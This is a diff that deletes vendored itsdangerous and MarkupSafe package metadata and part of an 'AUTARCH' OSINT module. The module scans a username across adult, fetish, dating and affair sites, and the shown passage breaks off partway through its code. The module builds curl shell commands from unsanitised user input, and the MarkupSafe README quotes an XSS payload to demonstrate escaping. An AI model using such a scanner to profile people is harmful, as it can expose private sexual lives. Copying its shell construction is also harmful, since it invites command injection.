|
||||||
1. Redistributions of source code must retain the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer in the
|
|
||||||
documentation and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
3. Neither the name of the copyright holder nor the names of its
|
|
||||||
contributors may be used to endorse or promote products derived from
|
|
||||||
this software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
||||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
|
||||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
|
||||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
||||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
@@ -1,60 +0,0 @@
|
|||||||
Metadata-Version: 2.1
|
|
||||||
Name: itsdangerous
|
|
||||||
Version: 2.2.0
|
|
||||||
Summary: Safely pass data to untrusted environments and back.
|
|
||||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
|
||||||
Requires-Python: >=3.8
|
|
||||||
Description-Content-Type: text/markdown
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: License :: OSI Approved :: BSD License
|
|
||||||
Classifier: Operating System :: OS Independent
|
|
||||||
Classifier: Programming Language :: Python
|
|
||||||
Classifier: Typing :: Typed
|
|
||||||
Project-URL: Changes, https://itsdangerous.palletsprojects.com/changes/
|
|
||||||
Project-URL: Chat, https://discord.gg/pallets
|
|
||||||
Project-URL: Documentation, https://itsdangerous.palletsprojects.com/
|
|
||||||
Project-URL: Donate, https://palletsprojects.com/donate
|
|
||||||
Project-URL: Source, https://github.com/pallets/itsdangerous/
|
|
||||||
|
|
||||||
# ItsDangerous
|
|
||||||
|
|
||||||
... so better sign this
|
|
||||||
|
|
||||||
Various helpers to pass data to untrusted environments and to get it
|
|
||||||
back safe and sound. Data is cryptographically signed to ensure that a
|
|
||||||
token has not been tampered with.
|
|
||||||
|
|
||||||
It's possible to customize how data is serialized. Data is compressed as
|
|
||||||
needed. A timestamp can be added and verified automatically while
|
|
||||||
loading a token.
|
|
||||||
|
|
||||||
|
|
||||||
## A Simple Example
|
|
||||||
|
|
||||||
Here's how you could generate a token for transmitting a user's id and
|
|
||||||
name between web requests.
|
|
||||||
|
|
||||||
```python
|
|
||||||
from itsdangerous import URLSafeSerializer
|
|
||||||
auth_s = URLSafeSerializer("secret key", "auth")
|
|
||||||
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})
|
|
||||||
|
|
||||||
print(token)
|
|
||||||
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg
|
|
||||||
|
|
||||||
data = auth_s.loads(token)
|
|
||||||
print(data["name"])
|
|
||||||
# itsdangerous
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Donate
|
|
||||||
|
|
||||||
The Pallets organization develops and supports ItsDangerous and other
|
|
||||||
popular packages. In order to grow the community of contributors and
|
|
||||||
users, and allow the maintainers to devote more time to the projects,
|
|
||||||
[please donate today][].
|
|
||||||
|
|
||||||
[please donate today]: https://palletsprojects.com/donate
|
|
||||||
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
itsdangerous-2.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
itsdangerous-2.2.0.dist-info/LICENSE.txt,sha256=Y68JiRtr6K0aQlLtQ68PTvun_JSOIoNnvtfzxa4LCdc,1475
|
|
||||||
itsdangerous-2.2.0.dist-info/METADATA,sha256=0rk0-1ZwihuU5DnwJVwPWoEI4yWOyCexih3JyZHblhE,1924
|
|
||||||
itsdangerous-2.2.0.dist-info/RECORD,,
|
|
||||||
itsdangerous-2.2.0.dist-info/WHEEL,sha256=EZbGkh7Ie4PoZfRQ8I0ZuP9VklN_TvcZ6DSE5Uar4z4,81
|
|
||||||
itsdangerous/__init__.py,sha256=4SK75sCe29xbRgQE1ZQtMHnKUuZYAf3bSpZOrff1IAY,1427
|
|
||||||
itsdangerous/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/_json.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/encoding.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/exc.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/serializer.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/signer.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/timed.cpython-313.pyc,,
|
|
||||||
itsdangerous/__pycache__/url_safe.cpython-313.pyc,,
|
|
||||||
itsdangerous/_json.py,sha256=wPQGmge2yZ9328EHKF6gadGeyGYCJQKxtU-iLKE6UnA,473
|
|
||||||
itsdangerous/encoding.py,sha256=wwTz5q_3zLcaAdunk6_vSoStwGqYWe307Zl_U87aRFM,1409
|
|
||||||
itsdangerous/exc.py,sha256=Rr3exo0MRFEcPZltwecyK16VV1bE2K9_F1-d-ljcUn4,3201
|
|
||||||
itsdangerous/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
itsdangerous/serializer.py,sha256=PmdwADLqkSyQLZ0jOKAgDsAW4k_H0TlA71Ei3z0C5aI,15601
|
|
||||||
itsdangerous/signer.py,sha256=YO0CV7NBvHA6j549REHJFUjUojw2pHqwcUpQnU7yNYQ,9647
|
|
||||||
itsdangerous/timed.py,sha256=6RvDMqNumGMxf0-HlpaZdN9PUQQmRvrQGplKhxuivUs,8083
|
|
||||||
itsdangerous/url_safe.py,sha256=az4e5fXi_vs-YbWj8YZwn4wiVKfeD--GEKRT5Ueu4P4,2505
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: flit 3.9.0
|
|
||||||
Root-Is-Purelib: true
|
|
||||||
Tag: py3-none-any
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1 +0,0 @@
|
|||||||
pip
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
Metadata-Version: 2.4
|
|
||||||
Name: MarkupSafe
|
|
||||||
Version: 3.0.3
|
|
||||||
Summary: Safely add untrusted strings to HTML/XML markup.
|
|
||||||
Maintainer-email: Pallets <contact@palletsprojects.com>
|
|
||||||
License-Expression: BSD-3-Clause
|
|
||||||
Project-URL: Donate, https://palletsprojects.com/donate
|
|
||||||
Project-URL: Documentation, https://markupsafe.palletsprojects.com/
|
|
||||||
Project-URL: Changes, https://markupsafe.palletsprojects.com/page/changes/
|
|
||||||
Project-URL: Source, https://github.com/pallets/markupsafe/
|
|
||||||
Project-URL: Chat, https://discord.gg/pallets
|
|
||||||
Classifier: Development Status :: 5 - Production/Stable
|
|
||||||
Classifier: Environment :: Web Environment
|
|
||||||
Classifier: Intended Audience :: Developers
|
|
||||||
Classifier: Operating System :: OS Independent
|
|
||||||
Classifier: Programming Language :: Python
|
|
||||||
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
|
|
||||||
Classifier: Topic :: Text Processing :: Markup :: HTML
|
|
||||||
Classifier: Typing :: Typed
|
|
||||||
Requires-Python: >=3.9
|
|
||||||
Description-Content-Type: text/markdown
|
|
||||||
License-File: LICENSE.txt
|
|
||||||
Dynamic: license-file
|
|
||||||
|
|
||||||
<div align="center"><img src="https://raw.githubusercontent.com/pallets/markupsafe/refs/heads/stable/docs/_static/markupsafe-name.svg" alt="" height="150"></div>
|
|
||||||
|
|
||||||
# MarkupSafe
|
|
||||||
|
|
||||||
MarkupSafe implements a text object that escapes characters so it is
|
|
||||||
safe to use in HTML and XML. Characters that have special meanings are
|
|
||||||
replaced so that they display as the actual characters. This mitigates
|
|
||||||
injection attacks, meaning untrusted user input can safely be displayed
|
|
||||||
on a page.
|
|
||||||
|
|
||||||
|
|
||||||
## Examples
|
|
||||||
|
|
||||||
```pycon
|
|
||||||
>>> from markupsafe import Markup, escape
|
|
||||||
|
|
||||||
>>> # escape replaces special characters and wraps in Markup
|
|
||||||
>>> escape("<script>alert(document.cookie);</script>")
|
|
||||||
Markup('<script>alert(document.cookie);</script>')
|
|
||||||
|
|
||||||
>>> # wrap in Markup to mark text "safe" and prevent escaping
|
|
||||||
>>> Markup("<strong>Hello</strong>")
|
|
||||||
Markup('<strong>hello</strong>')
|
|
||||||
|
|
||||||
>>> escape(Markup("<strong>Hello</strong>"))
|
|
||||||
Markup('<strong>hello</strong>')
|
|
||||||
|
|
||||||
>>> # Markup is a str subclass
|
|
||||||
>>> # methods and operators escape their arguments
|
|
||||||
>>> template = Markup("Hello <em>{name}</em>")
|
|
||||||
>>> template.format(name='"World"')
|
|
||||||
Markup('Hello <em>"World"</em>')
|
|
||||||
```
|
|
||||||
|
|
||||||
## Donate
|
|
||||||
|
|
||||||
The Pallets organization develops and supports MarkupSafe and other
|
|
||||||
popular packages. In order to grow the community of contributors and
|
|
||||||
users, and allow the maintainers to devote more time to the projects,
|
|
||||||
[please donate today][].
|
|
||||||
|
|
||||||
[please donate today]: https://palletsprojects.com/donate
|
|
||||||
|
|
||||||
## Contributing
|
|
||||||
|
|
||||||
See our [detailed contributing documentation][contrib] for many ways to
|
|
||||||
contribute, including reporting issues, requesting features, asking or answering
|
|
||||||
questions, and making PRs.
|
|
||||||
|
|
||||||
[contrib]: https://palletsprojects.com/contributing/
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
markupsafe-3.0.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
|
|
||||||
markupsafe-3.0.3.dist-info/METADATA,sha256=8K5duwnVD7X3Yyw9U_AiCZXvdgGeWJLgpUV0ATak48s,2764
|
|
||||||
markupsafe-3.0.3.dist-info/RECORD,,
|
|
||||||
markupsafe-3.0.3.dist-info/WHEEL,sha256=qV0EIPljj1XC_vuSatRWjn02nZIz3N1t8jsZz7HBr2U,101
|
|
||||||
markupsafe-3.0.3.dist-info/licenses/LICENSE.txt,sha256=RjHsDbX9kKVH4zaBcmTGeYIUM4FG-KyUtKV_lu6MnsQ,1503
|
|
||||||
markupsafe-3.0.3.dist-info/top_level.txt,sha256=qy0Plje5IJuvsCBjejJyhDCjEAdcDLK_2agVcex8Z6U,11
|
|
||||||
markupsafe/__init__.py,sha256=ut2LXj-6sqkIVUdSAx-dboB5crAaRG5y7EO447hmaro,13644
|
|
||||||
markupsafe/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
markupsafe/__pycache__/_native.cpython-313.pyc,,
|
|
||||||
markupsafe/_native.py,sha256=2ptkJ40yCcp9kq3L1NqpgjfpZB-obniYKFFKUOkHh4Q,218
|
|
||||||
markupsafe/_speedups.c,sha256=efc6azc50WbKxSNinxV4rktIX2xzWfKsLvncC8Z3I_w,4527
|
|
||||||
markupsafe/_speedups.cp313-win_amd64.pyd,sha256=pEBLb45Lqy54Kzc1B6MKt7cTDIiH9ivw5OSptl0K3TA,13312
|
|
||||||
markupsafe/_speedups.pyi,sha256=LSDmXYOefH4HVpAXuL8sl7AttLw0oXh1njVoVZp2wqQ,42
|
|
||||||
markupsafe/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: setuptools (80.9.0)
|
|
||||||
Root-Is-Purelib: false
|
|
||||||
Tag: cp313-cp313-win_amd64
|
|
||||||
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
Copyright 2010 Pallets
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
|
||||||
modification, are permitted provided that the following conditions are
|
|
||||||
met:
|
|
||||||
|
|
||||||
1. Redistributions of source code must retain the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer in the
|
|
||||||
documentation and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
3. Neither the name of the copyright holder nor the names of its
|
|
||||||
contributors may be used to endorse or promote products derived from
|
|
||||||
this software without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
||||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
|
||||||
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
|
||||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
||||||
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
markupsafe
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
# AUTARCH Modules
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,847 +0,0 @@
|
|||||||
"""
|
|
||||||
AUTARCH Adult Site Scanner Module
|
|
||||||
Username OSINT for adult-oriented platforms
|
|
||||||
|
|
||||||
Searches usernames across adult content sites, fanfiction platforms,
|
|
||||||
and related communities.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import sys
|
|
||||||
import subprocess
|
|
||||||
import re
|
|
||||||
import json
|
|
||||||
from pathlib import Path
|
|
||||||
from urllib.parse import quote
|
|
||||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
||||||
|
|
||||||
# Module metadata
|
|
||||||
DESCRIPTION = "Adult site username OSINT scanner"
|
|
||||||
AUTHOR = "darkHal"
|
|
||||||
VERSION = "1.3"
|
|
||||||
CATEGORY = "osint"
|
|
||||||
|
|
||||||
sys.path.insert(0, str(Path(__file__).parent.parent))
|
|
||||||
from core.banner import Colors, clear_screen, display_banner
|
|
||||||
from core.config import get_config
|
|
||||||
|
|
||||||
# Custom sites storage file
|
|
||||||
from core.paths import get_app_dir as _app_dir
|
|
||||||
CUSTOM_SITES_FILE = _app_dir() / "custom_adultsites.json"
|
|
||||||
# Bulk import file
|
|
||||||
BULK_IMPORT_FILE = _app_dir() / "custom_sites.inf"
|
|
||||||
|
|
||||||
# Common username URL patterns for auto-detection
|
|
||||||
COMMON_PATTERNS = [
|
|
||||||
'/user/{}',
|
|
||||||
'/users/{}',
|
|
||||||
'/u/{}',
|
|
||||||
'/profile/{}',
|
|
||||||
'/profiles/{}',
|
|
||||||
'/member/{}',
|
|
||||||
'/members/{}',
|
|
||||||
'/@{}',
|
|
||||||
'/{}',
|
|
||||||
'/people/{}',
|
|
||||||
'/account/{}',
|
|
||||||
'/id/{}',
|
|
||||||
'/{}/profile',
|
|
||||||
'/user/{}/profile',
|
|
||||||
'/channel/{}',
|
|
||||||
'/c/{}',
|
|
||||||
'/p/{}',
|
|
||||||
]
|
|
||||||
|
|
||||||
|
|
||||||
class AdultScanner:
|
|
||||||
"""Username scanner for adult-oriented sites."""
|
|
||||||
|
|
||||||
# Default site definitions: (name, url_template, method)
|
|
||||||
# method: 'status' = check HTTP status, 'content' = check page content
|
|
||||||
DEFAULT_SITES = {
|
|
||||||
# Fanfiction & Story Sites
|
|
||||||
'fanfiction': [
|
|
||||||
('Archive of Our Own', 'https://archiveofourown.org/users/{}/profile', 'status'),
|
|
||||||
('FanFiction.net', 'https://www.fanfiction.net/u/0/{}', 'content'),
|
|
||||||
('FimFiction', 'https://www.fimfiction.net/user/{}', 'status'),
|
|
||||||
('Wattpad', 'https://www.wattpad.com/user/{}', 'status'),
|
|
||||||
('Literotica', 'https://www.literotica.com/stories/memberpage.php?uid=0&username={}', 'content'),
|
|
||||||
('Adult-FanFiction', 'http://members.adult-fanfiction.org/profile.php?no=0&uname={}', 'content'),
|
|
||||||
('Hentai Foundry', 'https://www.hentai-foundry.com/user/{}/profile', 'status'),
|
|
||||||
('SoFurry', 'https://www.sofurry.com/browse/user/{}', 'status'),
|
|
||||||
('Inkbunny', 'https://inkbunny.net/{}', 'status'),
|
|
||||||
],
|
|
||||||
|
|
||||||
# Art & Creative
|
|
||||||
'art': [
|
|
||||||
('DeviantArt', 'https://www.deviantart.com/{}', 'status'),
|
|
||||||
('Fur Affinity', 'https://www.furaffinity.net/user/{}/', 'status'),
|
|
||||||
('Newgrounds', 'https://{}.newgrounds.com', 'status'),
|
|
||||||
('Pixiv', 'https://www.pixiv.net/en/users/{}', 'content'),
|
|
||||||
('Rule34', 'https://rule34.xxx/index.php?page=account&s=profile&uname={}', 'content'),
|
|
||||||
('e621', 'https://e621.net/users?name={}', 'content'),
|
|
||||||
('Derpibooru', 'https://derpibooru.org/profiles/{}', 'status'),
|
|
||||||
('Twitter/X', 'https://twitter.com/{}', 'status'),
|
|
||||||
('Tumblr', 'https://{}.tumblr.com', 'status'),
|
|
||||||
('Pillowfort', 'https://www.pillowfort.social/{}', 'status'),
|
|
||||||
],
|
|
||||||
|
|
||||||
# Video & Streaming
|
|
||||||
'video': [
|
|
||||||
('Pornhub', 'https://www.pornhub.com/users/{}', 'status'),
|
|
||||||
('XVideos', 'https://www.xvideos.com/profiles/{}', 'status'),
|
|
||||||
('xHamster', 'https://xhamster.com/users/{}', 'status'),
|
|
||||||
('Chaturbate', 'https://chaturbate.com/{}/', 'status'),
|
|
||||||
('OnlyFans', 'https://onlyfans.com/{}', 'status'),
|
|
||||||
('Fansly', 'https://fansly.com/{}', 'status'),
|
|
||||||
('ManyVids', 'https://www.manyvids.com/Profile/0/{}/', 'content'),
|
|
||||||
('PocketStars', 'https://pocketstars.com/{}', 'status'),
|
|
||||||
],
|
|
||||||
|
|
||||||
# Forums & Communities
|
|
||||||
'forums': [
|
|
||||||
('Reddit', 'https://www.reddit.com/user/{}', 'status'),
|
|
||||||
('F-List', 'https://www.f-list.net/c/{}', 'status'),
|
|
||||||
('FetLife', 'https://fetlife.com/users/{}', 'content'),
|
|
||||||
('Kink.com', 'https://www.kink.com/model/{}', 'content'),
|
|
||||||
('BDSMLR', 'https://{}.bdsmlr.com', 'status'),
|
|
||||||
('CollarSpace', 'https://www.collarspace.com/view/{}', 'content'),
|
|
||||||
],
|
|
||||||
|
|
||||||
# Dating & Social
|
|
||||||
'dating': [
|
|
||||||
('AdultFriendFinder', 'https://adultfriendfinder.com/p/{}', 'content'),
|
|
||||||
('Ashley Madison', 'https://www.ashleymadison.com/{}', 'content'),
|
|
||||||
('Grindr', 'https://www.grindr.com/{}', 'content'),
|
|
||||||
('Scruff', 'https://www.scruff.com/{}', 'content'),
|
|
||||||
('Recon', 'https://www.recon.com/{}', 'content'),
|
|
||||||
],
|
|
||||||
|
|
||||||
# Gaming Related (with adult content)
|
|
||||||
'gaming': [
|
|
||||||
('F95zone', 'https://f95zone.to/members/?username={}', 'content'),
|
|
||||||
('LoversLab', 'https://www.loverslab.com/profile/?name={}', 'content'),
|
|
||||||
('ULMF', 'https://ulmf.org/member.php?username={}', 'content'),
|
|
||||||
('Nutaku', 'https://www.nutaku.net/user/{}/', 'content'),
|
|
||||||
],
|
|
||||||
}
|
|
||||||
|
|
||||||
def __init__(self):
|
|
||||||
self.results = []
|
|
||||||
self.config = get_config()
|
|
||||||
osint_settings = self.config.get_osint_settings()
|
|
||||||
self.timeout = osint_settings['timeout']
|
|
||||||
self.max_threads = osint_settings['max_threads']
|
|
||||||
# Copy default sites and add custom sites
|
|
||||||
self.sites = {k: list(v) for k, v in self.DEFAULT_SITES.items()}
|
|
||||||
self.sites['custom'] = []
|
|
||||||
self.load_custom_sites()
|
|
||||||
|
|
||||||
def load_custom_sites(self):
|
|
||||||
"""Load custom sites from JSON file."""
|
|
||||||
if CUSTOM_SITES_FILE.exists():
|
|
||||||
try:
|
|
||||||
with open(CUSTOM_SITES_FILE, 'r') as f:
|
|
||||||
data = json.load(f)
|
|
||||||
self.sites['custom'] = [tuple(site) for site in data.get('sites', [])]
|
|
||||||
except Exception as e:
|
|
||||||
self.sites['custom'] = []
|
|
||||||
|
|
||||||
def save_custom_sites(self):
|
|
||||||
"""Save custom sites to JSON file."""
|
|
||||||
try:
|
|
||||||
data = {'sites': [list(site) for site in self.sites['custom']]}
|
|
||||||
with open(CUSTOM_SITES_FILE, 'w') as f:
|
|
||||||
json.dump(data, f, indent=2)
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def add_custom_site(self):
|
|
||||||
"""Interactively add a custom site."""
|
|
||||||
print(f"\n{Colors.BOLD}Add Custom Site{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
print(f"{Colors.CYAN}URL Pattern Format:{Colors.RESET}")
|
|
||||||
print(f" Use {Colors.YELLOW}*{Colors.RESET} where the username should go")
|
|
||||||
print(f" Example: {Colors.DIM}https://example.com/user/*{Colors.RESET}")
|
|
||||||
print(f" Example: {Colors.DIM}https://example.com/profile?name=*{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Get site name
|
|
||||||
name = input(f"{Colors.WHITE}Site name: {Colors.RESET}").strip()
|
|
||||||
if not name:
|
|
||||||
self.print_status("Cancelled - no name provided", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Get URL pattern
|
|
||||||
url_pattern = input(f"{Colors.WHITE}URL pattern (use * for username): {Colors.RESET}").strip()
|
|
||||||
if not url_pattern:
|
|
||||||
self.print_status("Cancelled - no URL provided", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
if '*' not in url_pattern:
|
|
||||||
self.print_status("URL must contain * for username placeholder", "error")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Convert * to {} for internal format
|
|
||||||
url_template = url_pattern.replace('*', '{}')
|
|
||||||
|
|
||||||
# Ensure URL has protocol
|
|
||||||
if not url_template.startswith('http://') and not url_template.startswith('https://'):
|
|
||||||
url_template = 'https://' + url_template
|
|
||||||
|
|
||||||
# Get detection method
|
|
||||||
print()
|
|
||||||
print(f"{Colors.CYAN}Detection Method:{Colors.RESET}")
|
|
||||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Status code (default) - Check HTTP response code")
|
|
||||||
print(f" {Colors.GREEN}[2]{Colors.RESET} Content - For sites with custom 404 pages")
|
|
||||||
method_choice = input(f"{Colors.WHITE}Select [1]: {Colors.RESET}").strip() or "1"
|
|
||||||
method = 'content' if method_choice == '2' else 'status'
|
|
||||||
|
|
||||||
# Add to custom sites
|
|
||||||
new_site = (name, url_template, method)
|
|
||||||
self.sites['custom'].append(new_site)
|
|
||||||
|
|
||||||
# Save to file
|
|
||||||
if self.save_custom_sites():
|
|
||||||
self.print_status(f"Added '{name}' to custom sites", "success")
|
|
||||||
print(f"{Colors.DIM} URL: {url_template.replace('{}', '<username>')}{Colors.RESET}")
|
|
||||||
else:
|
|
||||||
self.print_status("Failed to save custom sites", "error")
|
|
||||||
|
|
||||||
def manage_custom_sites(self):
|
|
||||||
"""View and manage custom sites."""
|
|
||||||
while True:
|
|
||||||
clear_screen()
|
|
||||||
display_banner()
|
|
||||||
|
|
||||||
print(f"{Colors.BOLD}Manage Custom Sites{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
custom = self.sites.get('custom', [])
|
|
||||||
if not custom:
|
|
||||||
print(f"{Colors.YELLOW}No custom sites added yet.{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.GREEN}[1]{Colors.RESET} Add New Site")
|
|
||||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip()
|
|
||||||
if choice == "1":
|
|
||||||
self.add_custom_site()
|
|
||||||
else:
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
print(f"{Colors.CYAN}Custom Sites ({len(custom)}):{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
for i, (name, url, method) in enumerate(custom, 1):
|
|
||||||
display_url = url.replace('{}', '*')
|
|
||||||
method_tag = f"[{method}]"
|
|
||||||
print(f" {Colors.GREEN}[{i}]{Colors.RESET} {name:25} {Colors.DIM}{method_tag}{Colors.RESET}")
|
|
||||||
print(f" {Colors.DIM}{display_url}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
print(f" {Colors.GREEN}[A]{Colors.RESET} Add New Site")
|
|
||||||
print(f" {Colors.RED}[R]{Colors.RESET} Remove Site")
|
|
||||||
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
|
|
||||||
print()
|
|
||||||
|
|
||||||
choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip().upper()
|
|
||||||
|
|
||||||
if choice == "0":
|
|
||||||
break
|
|
||||||
elif choice == "A":
|
|
||||||
self.add_custom_site()
|
|
||||||
elif choice == "R":
|
|
||||||
self.remove_custom_site()
|
|
||||||
|
|
||||||
def remove_custom_site(self):
|
|
||||||
"""Remove a custom site."""
|
|
||||||
custom = self.sites.get('custom', [])
|
|
||||||
if not custom:
|
|
||||||
self.print_status("No custom sites to remove", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
print()
|
|
||||||
idx_input = input(f"{Colors.WHITE}Enter site number to remove: {Colors.RESET}").strip()
|
|
||||||
|
|
||||||
try:
|
|
||||||
idx = int(idx_input) - 1
|
|
||||||
if 0 <= idx < len(custom):
|
|
||||||
removed = custom.pop(idx)
|
|
||||||
if self.save_custom_sites():
|
|
||||||
self.print_status(f"Removed '{removed[0]}'", "success")
|
|
||||||
else:
|
|
||||||
self.print_status("Failed to save changes", "error")
|
|
||||||
else:
|
|
||||||
self.print_status("Invalid selection", "error")
|
|
||||||
except ValueError:
|
|
||||||
self.print_status("Invalid number", "error")
|
|
||||||
|
|
||||||
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
|
|
||||||
|
|
||||||
def auto_detect_site(self):
|
|
||||||
"""Auto-detect URL pattern for a domain."""
|
|
||||||
print(f"\n{Colors.BOLD}Auto-Detect Site Pattern{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
print(f"{Colors.CYAN}Enter just the domain name and we'll find the pattern.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Example: example.com or www.example.com{Colors.RESET}")
|
|
||||||
print()
|
|
||||||
|
|
||||||
# Get domain
|
|
||||||
domain = input(f"{Colors.WHITE}Domain: {Colors.RESET}").strip()
|
|
||||||
if not domain:
|
|
||||||
self.print_status("Cancelled - no domain provided", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
# Clean up domain
|
|
||||||
domain = domain.replace('https://', '').replace('http://', '').rstrip('/')
|
|
||||||
|
|
||||||
# Get test username
|
|
||||||
print()
|
|
||||||
print(f"{Colors.CYAN}We need a known username to test patterns.{Colors.RESET}")
|
|
||||||
print(f"{Colors.DIM}Enter a username that you know EXISTS on this site.{Colors.RESET}")
|
|
||||||
test_user = input(f"{Colors.WHITE}Test username: {Colors.RESET}").strip()
|
|
||||||
if not test_user:
|
|
||||||
self.print_status("Cancelled - no test username provided", "warning")
|
|
||||||
return
|
|
||||||
|
|
||||||
print(f"\n{Colors.CYAN}Testing {len(COMMON_PATTERNS)} common URL patterns...{Colors.RESET}\n")
|
|
||||||
|
|
||||||
# Test each pattern
|
|
||||||
working_patterns = []
|
|
||||||
for i, pattern in enumerate(COMMON_PATTERNS):
|
|
||||||
url = f"https://{domain}{pattern}".format(test_user)
|
|
||||||
print(f"\r{Colors.DIM} Testing pattern {i+1}/{len(COMMON_PATTERNS)}: {pattern}{' ' * 20}{Colors.RESET}", end="")
|
|
||||||
|
|
||||||
cmd = f"curl -sI -o /dev/null -w '%{{http_code}}' -L --max-time 5 '{url}' 2>/dev/null"
|
|
||||||
